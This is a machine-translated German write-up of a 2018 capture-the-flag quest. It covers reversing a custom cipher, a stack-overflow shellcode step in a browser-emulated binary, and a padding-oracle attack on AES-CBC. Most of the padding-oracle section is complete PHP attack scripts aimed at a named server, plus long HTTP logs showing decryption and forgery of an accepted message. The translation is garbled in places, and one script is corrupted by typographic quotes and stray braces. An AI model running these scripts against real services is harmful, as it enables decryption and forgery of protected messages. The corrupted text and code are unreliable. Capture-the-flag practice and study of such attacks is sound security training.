s.model() print(model) 


Wenn wir die gefundenen Bits in einen String konvertieren , erhalten wir den ersten Schlüssel: ItWasJustAWarmUp .

Stufe 2


 bool __cdecl sub_42CEF0(char *a1) { bool result; // al __int64 v2; // [esp+0h] [ebp-3Ch] __int64 v3; // [esp+8h] [ebp-34h] __int64 v4; // [esp+10h] [ebp-2Ch] __int64 v5; // [esp+18h] [ebp-24h] __int64 v6; // [esp+20h] [ebp-1Ch] int v7; // [esp+28h] [ebp-14h] int v8; // [esp+2Ch] [ebp-10h] int v9; // [esp+30h] [ebp-Ch] int v10; // [esp+34h] [ebp-8h] int v11; // [esp+38h] [ebp-4h] v6 = *(_QWORD *)a1; v5 = *((_QWORD *)a1 + 1); v4 = *((_QWORD *)a1 + 2); v3 = *((_QWORD *)a1 + 3); v2 = *((_QWORD *)a1 + 4); (**off_444360)(off_444360, &v6, 0, off_44435C); (**off_444360)(off_444360, &v5, 0, off_44435C); (**off_444360)(off_444360, &v4, 0, off_44435C); (**off_444360)(off_444360, &v3, 0, off_44435C); (**off_444360)(off_444360, &v2, 0, off_44435C); v11 = 0; result = 0; if ( v6 == qword_442780 ) { v10 = 8; if ( v5 == __PAIR__(*((_DWORD *)&qword_442780 + 3), *((_DWORD *)&qword_442780 + 2)) ) { v9 = 16; if ( v4 == __PAIR__(*((_DWORD *)&qword_442780 + 5), *((_DWORD *)&qword_442780 + 4)) ) { v8 = 24; if ( v3 == __PAIR__(*((_DWORD *)&qword_442780 + 7), *((_DWORD *)&qword_442780 + 6)) ) { v7 = 32; if ( v2 == __PAIR__(*((_DWORD *)&qword_442780 + 9), *((_DWORD *)&qword_442780 + 8)) ) result = 1; } } } } return result; } 

Die eingegebene Zeichenfolge wird als fünf 64-Bit-Zahlen dargestellt, deren Konvertierungsergebnis mit dem Array verglichen wird.
Bild
Beim Gehen unter dem Debugger sehen wir die folgende Folge von Funktionsaufrufen:

Bisher ist klar, dass das dritte Argument entlang der Aufrufkette übergeben wird, manchmal Modulo 2-Faltung mit einem, manchmal mit dem nächsten Bit der Eingabezeichenfolge (obwohl einige Bits, zum Beispiel das erste, übersprungen werden).

Lassen Sie uns sehen, wo die Konvertierung der konvertierten Zahl erfolgt, und einen Haltepunkt für den Datensatz in den entsprechenden Speicherbytes setzen:
Bild
Das heißt, Das Bit der Zahl wird durch den Wert des dritten Arguments ersetzt, sein vorheriger Wert wird weitergegeben (manchmal invertiert). Es ist davon auszugehen, dass folgende Konvertierung erfolgt:
 a3 = xor_all_bits(input & x) ^ y; output = ((input << 1) ^ z) | a3; 

  • x definiert Bits, die im ersten Schritt nicht übersprungen wurden;
  • y hängt davon ab, wie oft eine Einheit hinzugefügt wurde (Modulo 2);
  • z entspricht den im zweiten Schritt invertierten Bits.

Um die unbekannten Konstanten zu bestimmen, erhalten wir die konvertierten Werte für Null und Zahlen mit einem gesetzten Bit. Definieren Sie dazu einen Zähler
 extern i; i = 0; 
und in der Funktion sub_428FD0 setzen wir vor der nächsten Runde einen Haltepunkt mit einer Bedingung, die den Wert der Nummer nach dem Funktionsaufruf druckt, ihren nächsten Wert setzt und den Funktionsaufruf wiederholt.
 print(Qword(Qword(ebp+8))), i=i+1, (i<64)?patch_qword(Qword(ebp+8), __int64(1) << i)^(eip=0x428FE0):0,0 

Die folgenden Werte wurden erhalten:

Von:
  • x = 0x11CE9E8E6CF2B888
  • y = 1
  • z = 0x8E2B550A6AEDD63A

In Python sieht die Konvertierungsfunktion also folgendermaßen aus:
 def xor_bits(x): a = 0 while x != 0: a ^= x & 1 x >>= 1 return a def round(x): x = ((x << 1) & 0xFFFFFFFFFFFFFFFF) | xor_bits(x & 0x8e2b550a6aedd63a) ^ 1 return x ^ 0x11CE9E8E6CF2B888 def encrypt(x): for _ in range(64): x = round(x) return x 

Und das Gegenteil zu ihm:
 def rev_round(x): x ^= 0x11CE9E8E6CF2B888 a = x & 1 x >>= 1 if xor_bits(x & 0x8e2b550a6aedd63a) ^ 1 != a: x |= 1 << 63 return x def decrypt(x): for _ in range(64): x = rev_round(x) return x 

Wenn Sie die Konvertierung auf Zahlen aus dem Array qword_442780 , erhalten Sie die gewünschte Zeichenfolge: YourReversingSkillsAreImpressive_zN2018 .

Tag2. Blackanwyte


Für Hilfe bei der Vorbereitung dieser Aufgabe danken wir Vlad Roskov von @leetmore



Wenn Sie auf den Link klicken, sehen wir Folgendes:



Wir werden gebeten, einen Aktionscode einzugeben. Mal sehen, welche Dateien beim Öffnen der Seite geladen werden.



Nach dem Durchsuchen von whitebox.js finden wir eine Funktion, die den Aktionscode überprüft:


In der Variablen c wird der eingegebene Text gelesen; Es wird geprüft, ob es mit dem regulären Ausdruck "/ \ d + - \ w + /" übereinstimmt. Daher sollte der Aktionscode die Form "1234-ABCD" haben. Als nächstes wird die Zahl in eine Binärzahl umgewandelt, Nullen entsprechen "N" und Einheiten - "Z". Nach dem Neuanordnen der Zahlen aus dem Array f wird in einem Zyklus von 4 Buchstaben aus der resultierenden Zeichenfolge der Hash md5 genommen und seine ersten vier Zeichen werden mit den entsprechenden Zeichen aus der Zeichenfolge "7177a294cfa7b53371776be5cfa74ddf" überprüft.

Um die richtige Nummer zu erhalten, schreiben Sie ein kleines Skript.


Als Ergebnis erhalten wir die erforderliche Nummer, den ersten Teil unseres Aktionscodes: 234082018.



Wir haben den ersten Teil des Tests bestanden. Fahren wir mit dem zweiten fort:



Es ist ersichtlich, dass der von der Funktion blackbox_check zurückgegebene Wert überprüft wird. Wenn kein Fehler auftritt und gleich "elee757bc7fd00d5" ist, wird er an den Server gesendet. In der Datei whitebox.js wird blackbox_check jedoch nicht erwähnt, daher ist es an der Zeit, blackbox.js zu öffnen.

Nachdem es dem Texteditor gelungen ist, eine lange Datei zu öffnen, sehen wir die darin benötigte Funktion blackbox_check und darin eine interessante Zeile (22).


Beim Googeln erfahren wir, dass wir mit einem in Javascript geschriebenen Emulator konfrontiert sind.
Das Byte der ausführbaren Datei wird im variablen code gespeichert, Zeile 32 zeichnet den Werbecode im Speicher auf und Zeile 33 legt die Adresse des Stapels fest. Aus Zeile 41 ist ersichtlich, dass die Datei mit der Adresse "0x080485E0" beginnt.

Speichern Sie die ausführbare Datei und überprüfen Sie mithilfe der IDA, was darin enthalten ist.


Gehen wir zu blackbox_check. Hier sehen wir eine Art Hash-Funktion. Nach mehreren erfolglosen Versuchen, Möglichkeiten für schnelles Brute oder andere Schwachstellen im Algorithmus zu finden, stellen wir fest, dass der Puffer, in den ein Teil der Zeile nach dem Bindestrich kopiert wird, auf nur 256 Zeichen begrenzt ist.

blackbox_check


Wir überprüfen mit checksec, ob der Stack ausführbar ist:
Hinweis - Im Screenshot und im Text des Autors des vraytap gibt es Unstimmigkeiten darüber, ob der Stack ausführbar ist. Tatsächlich kann der Code ausgeführt werden.


Da wir die Adresse im Stapel, in die unsere Zeile geschrieben wird, bereits kennen, liegt es an Ihnen, die Bytes von der Zeile "e1ee757bc7fd00d5" an die gewünschte Adresse zu schreiben.



Wir senden die resultierende Zeile durch die Konsole und heben die Flagge auf:

Gesuchte Zeichenfolge



Gesuchte Zeile: Bl4CK_0r_wYT3_It5_z3r0Ni6hT



Tag3. Pad mich


Hey, diese Gruppe verwendet immer noch ein Messaging-System im alten Stil. Wir gehen davon aus, dass Mitglieder in den Dreißigern sind und dies ist ihre Krypto. Versuchen Sie dort Fehler zu finden. Ihr Nachrichtensystem ist am 51.15.79.170 Und weißt du was? Wir könnten einen Teil ihrer Authentifizierungsanforderung abfangen.
Sie können ytW81KkHaGOnaqiG7Gr4AA ==: XXnpfKJoUCufBm2ztTXGCN6wgqLeScU8 + XlL7Co5oHg = verwenden

1. Ich habe 403 Fehler nach dem Post "ytW81KkHaGOnaqiG7Gr4AA ==: XXnpfKJoUCufBm2ztTXGCN6wgqLeScU8 + XlL7Co5oHg =" erhalten. Wenn Sie einige Buchstaben ändern - immer noch 403 Fehler erhalten, ändert sich die Anzahl der Buchstaben - erhalten Sie 500 Fehler. Nach einigen Untersuchungen wurde mir klar, dass der erste Teil in Base64-decodierter Form 16 Byte lang sein sollte und der zweite Teil einige Blöcke enthalten muss, die jeweils 16 Byte lang sind. Seems first part is IV and second part – encoded data in CBC mode, and according to task name „pad” it is padding oracle attack.

2. Lets change last byte in base64 decoded form of second part (01.php script, total 256 possibilities). For one case instead of “403” error I have received message „Sir, your message is incorrect or it is not 48 bytes long”

01.php script
 <?php $s = "7177a294cfa7b53371776be5cfa74ddf"; $r = ""; for($i=0;$i<32;$i+=4) { for($j=0;$j<16;$j++) { $a = sprintf("%04b", $j); $a = str_replace("0", "Z", $a); $a = str_replace("1", "N", $a); if (substr(md5($a), 0, 4) == substr($s, $i, 4)) break; } if ($j == 16) die("Error 1: {$i}"); $r .= $a; echo md5($r).": ".$r."\r\n"; } $p = array(22,30,25,23,2,20,0,11,24,6,31,3,16,12,9,15,27,28,18,1,21,4,8,13,17,7,19,29,5,26,14,10); $s = str_repeat("_", 32); for($i=0;$i<32;$i++) $s[$p[$i]] = $r[$i]; echo $s."\r\n"; $a = 0; for($i=0;$i<32;$i++) { if ($s[$i] == 'Z') $a += (1<<$i); } echo $a."\r\n"; 


3. Lets decrypt message from task using padding oracle attack (scripts 02.php and 02b.php) – I have received string “Never gonna give you up\nNever go”.

02.php script
<?php
$a = „ytW81KkHaGOnaqiG7Gr4AA==:XXnpfKJoUCufBm2ztTXGCN6wgqLeScU8+XlL7Co5oHg=“;
$a = explode(»:", $a);
$a[0] = base64_decode($a[0]);
$a[1] = base64_decode($a[1]);
file_put_contents(«01.bin», $a[0].$a[1]);

$s = $a[1];
$known = "";
for($i=1;$i<=16;$i++)
{

for($j=0;$j<256;$j++)
{
$iv = str_repeat(«A», 16-$i).((chr($j).$known) ^ str_repeat(chr($i), $i));
if (($r = send($iv, substr($s, 0, 16))) !== false)
{
echo $r."\r\n";
$known = chr($j).$known;
echo bin2hex($known)." ".($known ^ substr($a[0], -$i))."\r\n";
break;
}}
}}
if ($j == 256) die(«Error 1: {$i}»);
}}

function send($a, $b)
{
$data = base64_encode($a).":".base64_encode($b);

$s = «POST / HTTP/1.0\r\n»;
$s.= «Host: 51.15.79.170\r\n»;
$s.= «Content-Length: ».strlen($data)."\r\n";
$s.= «User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0\r\n»;
$s.= "\r\n";
$s.= $data;

$r = "";
do {$socket = fsockopen («51.15.79.170», 80);} while(!$socket);
fwrite($socket, $s);
while(!@feof($socket)) $r .= fread($socket, 4096);
fclose($socket);

if (strpos($r, «500 INTERNAL SERVER ERROR»)) die(«Error 2: {$data}»);

return (strpos($r, «403 FORBIDDEN») !== false)?false:$r;
}}


Never gonna give you up
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:49:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
0f0cc904c9a68b038e65 gonna give
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:49:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
270f0cc904c9a68b038e65 gonna give
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:50:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
db270f0cc904c9a68b038e65 r gonna give
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:51:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
b1db270f0cc904c9a68b038e65 er gonna give
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:52:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
cab1db270f0cc904c9a68b038e65 ver gonna give
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:53:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
b0cab1db270f0cc904c9a68b038e65 ever gonna give
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:54:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
84b0cab1db270f0cc904c9a68b038e65 Never gonna give

02b.php script
 <?php $a = "ytW81KkHaGOnaqiG7Gr4AA==:XXnpfKJoUCufBm2ztTXGCN6wgqLeScU8+XlL7Co5oHg="; $a = explode(":", $a); $a[0] = base64_decode($a[0]); $a[1] = base64_decode($a[1]); file_put_contents("01.bin", $a[0].$a[1]); $s = substr($a[1], 16); $iv2 = substr($a[1], 0, 16); $known = ""; for($i=1;$i<=16;$i++) { for($j=0;$j<256;$j++) { $iv = str_repeat("A", 16-$i).((chr($j).$known) ^ str_repeat(chr($i), $i)); if (($r = send($iv, substr($s, 0, 16))) !== false) { echo $r."\r\n"; $known = chr($j).$known; echo bin2hex($known)." ".($known ^ substr($iv2, -$i))."\r\n"; break; } } if ($j == 256) die("Error 1: {$i}"); } function send($a, $b) { $data = base64_encode($a).":".base64_encode($b); $s = "POST / HTTP/1.0\r\n"; $s.= "Host: 51.15.79.170\r\n"; $s.= "Content-Length: ".strlen($data)."\r\n"; $s.= "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0\r\n"; $s.= "\r\n"; $s.= $data; $r = ""; do {$socket = @fsockopen("51.15.79.170", 80);} while(!$socket); fwrite($socket, $s); while(!@feof($socket)) $r .= fread($socket, 4096); fclose($socket); if (strpos($r, "500 INTERNAL SERVER ERROR")) die("Error 2: {$data}"); return (strpos($r, "403 FORBIDDEN") !== false)?false:$r; } 


Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:50:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
67 o
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:51:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
a167 go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:51:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
15a167 go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:52:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
c715a167 r go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:53:57 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
d6c715a167 er go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:54:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
1bd6c715a167 ver go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:54:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
631bd6c715a167 ever go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:55:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
d1631bd6c715a167 Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:55:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
21d1631bd6c715a167
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:55:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
2021d1631bd6c715a167 p
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:55:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
1d2021d1631bd6c715a167 up
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:56:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
821d2021d1631bd6c715a167 up
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:56:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
09821d2021d1631bd6c715a167 u up
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:56:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
8609821d2021d1631bd6c715a167 ou up
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:56:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
008609821d2021d1631bd6c715a167 you up
Never go
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 21:57:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
7d008609821d2021d1631bd6c715a167 you up
Never go

4. Ok, seems the message was truncated (should be 48 bytes long). Using google I have found some song with full phase " Never gonna give you up\nNever gonna let you down ”. Lets encrypt it using padding oracle attack from last block till first block and iv (scripts 05.php and 04_brute.php).

04_brute.php script
 <?php $a = "ytW81KkHaGOnaqiG7Gr4AA==:XXnpfKJoUCufBm2ztTXGCN6wgqLeScU8+XlL7Co5oHg="; $a = explode(":", $a); $a[0] = base64_decode($a[0]); $a[1] = base64_decode($a[1]); file_put_contents("01.bin", $a[0].$a[1]); $s = hex2bin("ff4fba7f36536f04bd0a3f77b8b06dde"); $known = ""; for($i=1;$i<=16;$i++) { for($j=0;$j<256;$j++) { $iv = str_repeat("A", 16-$i).((chr($j).$known) ^ str_repeat(chr($i), $i)); if (($r = send($iv, substr($s, 0, 16))) !== false) { echo $r."\r\n"; $known = chr($j).$known; echo bin2hex($known)."\r\n"; break; } } if ($j == 256) die("Error 1: {$i}"); } function send($a, $b) { $data = base64_encode($a).":".base64_encode($b); $s = "POST / HTTP/1.0\r\n"; $s.= "Host: 51.15.79.170\r\n"; $s.= "Content-Length: ".strlen($data)."\r\n"; $s.= "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0\r\n"; $s.= "\r\n"; $s.= $data; $r = ""; do {$socket = @fsockopen("51.15.79.170", 80);} while(!$socket); fwrite($socket, $s); while(!@feof($socket)) $r .= fread($socket, 4096); fclose($socket); if (strpos($r, "500 INTERNAL SERVER ERROR")) die("Error 2: {$data}"); return (strpos($r, "403 FORBIDDEN") !== false)?false:$r; } 


05.php
 <?php $a = "ytW81KkHaGOnaqiG7Gr4AA==:XXnpfKJoUCufBm2ztTXGCN6wgqLeScU8+XlL7Co5oHg="; $a = explode(":", $a); $a[0] = base64_decode($a[0]); $a[1] = base64_decode($a[1]); $Q = "Never gonna give you up\nNever gonna let you down".str_repeat("\x10", 0x10); echo strlen($Q)."\r\n"; $e1 = substr($a[1], 0, 16); $d1 = $a[0] ^ "Never gonna give"; $e2 = $d1 ^ substr($Q, 48, 16); echo bin2hex($e2)."\r\n"; $d2 = hex2bin("9e3d4885d3be30498069cfc4992e73df"); $e3 = $d2 ^ substr($Q, 32, 16); echo bin2hex($e3)."\r\n"; $d3 = hex2bin("df36d50a16261f0ef36f4912ca900ab1"); $e4 = $d3 ^ substr($Q, 16, 16); echo bin2hex($e4)."\r\n"; $d4 = hex2bin("20c3540ec72fa0b486b5f0c868218360"); $e5 = $d4 ^ substr($Q, 0, 16); echo bin2hex($e5)."\r\n"; $a[0] = $e5; $a[1] = $e4.$e3.$e2.$e1; $data = base64_encode($a[0]).":".base64_encode($a[1]); $s = "POST / HTTP/1.0\r\n"; $s.= "Host: 51.15.79.170\r\n"; $s.= "Content-Length: ".strlen($data)."\r\n"; $s.= "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0\r\n"; //$s.= "Content-Type: application/x-www-form-urlencoded\r\n"; $s.= "\r\n"; $s.= $data; $socket = fsockopen("51.15.79.170", 80); fwrite($socket, $s); while(!@feof($socket)) echo fread($socket, 4096); fclose($socket); 


20c3540ec72fa0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:51:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
60
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
8360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:52:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:52:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
68218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:53:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:55:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:56:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:57:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
86b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:58:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:58:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
a0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 23 Oct 2018 23:59:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
2fa0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 24 Oct 2018 00:00:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
c72fa0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 24 Oct 2018 00:00:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
0ec72fa0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 24 Oct 2018 00:00:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
540ec72fa0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 24 Oct 2018 00:01:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
c3540ec72fa0b486b5f0c868218360
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 24 Oct 2018 00:01:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 57
Connection: close

Sir, your message is incorrect or it is not 48 bytes long
20c3540ec72fa0b486b5f0c868218360

64
94a0daa1cb371f1cd914d9b69b139e75
f05329a5bfdb4469f906bae4fd4104b1
ff4fba7f36536f04bd0a3f77b8b06dde
6ea6226bb50fc7dbe8db91e80f48f505
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 24 Oct 2018 00:01:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 73
Connection: close

Okey, I see you're from 80's, get in
< Wh4t_1f_R1ck_A3tl3y_Sm0ke_Cannab1s >

Source: https://habr.com/ru/post/de439550/


All Articles